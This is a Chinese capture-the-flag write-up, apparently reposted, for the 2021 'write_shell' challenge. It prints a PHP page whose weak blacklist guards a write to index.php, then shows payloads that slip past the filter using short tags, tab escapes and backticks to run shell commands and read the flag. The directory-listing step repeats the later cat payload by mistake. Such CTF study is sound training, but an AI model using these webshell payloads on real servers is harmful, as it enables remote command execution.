当前位置:   article > 正文

[红明谷CTF 2021]write_shell 1

[红明谷CTF 2021]write_shell 1

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

传入了两个参数
action=pwd时,显示路径
action=upload时,写入内容

check()

通过正则过滤

preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)
  • 1

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写
对php的过滤可使用短标签:<?=(代码)?>
对空格的过滤,可使用 “/t” 或 "%09"代替
没有过滤反引号,我们可以在反引号中执行shell命令

$_GET[“action”] ?? “”

$_GET[“action”] ?? “”:这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 $_GET[“action”] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 “”

解题

先查看路径

payload:?action=pwd
  • 1

在这里插入图片描述
查看目录

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
  • 1

再访问刚才得到的路径
在这里插入图片描述
访问:flllllll1112222222lag

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
  • 1

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/886098
推荐阅读
相关标签
  

闽ICP备14008679号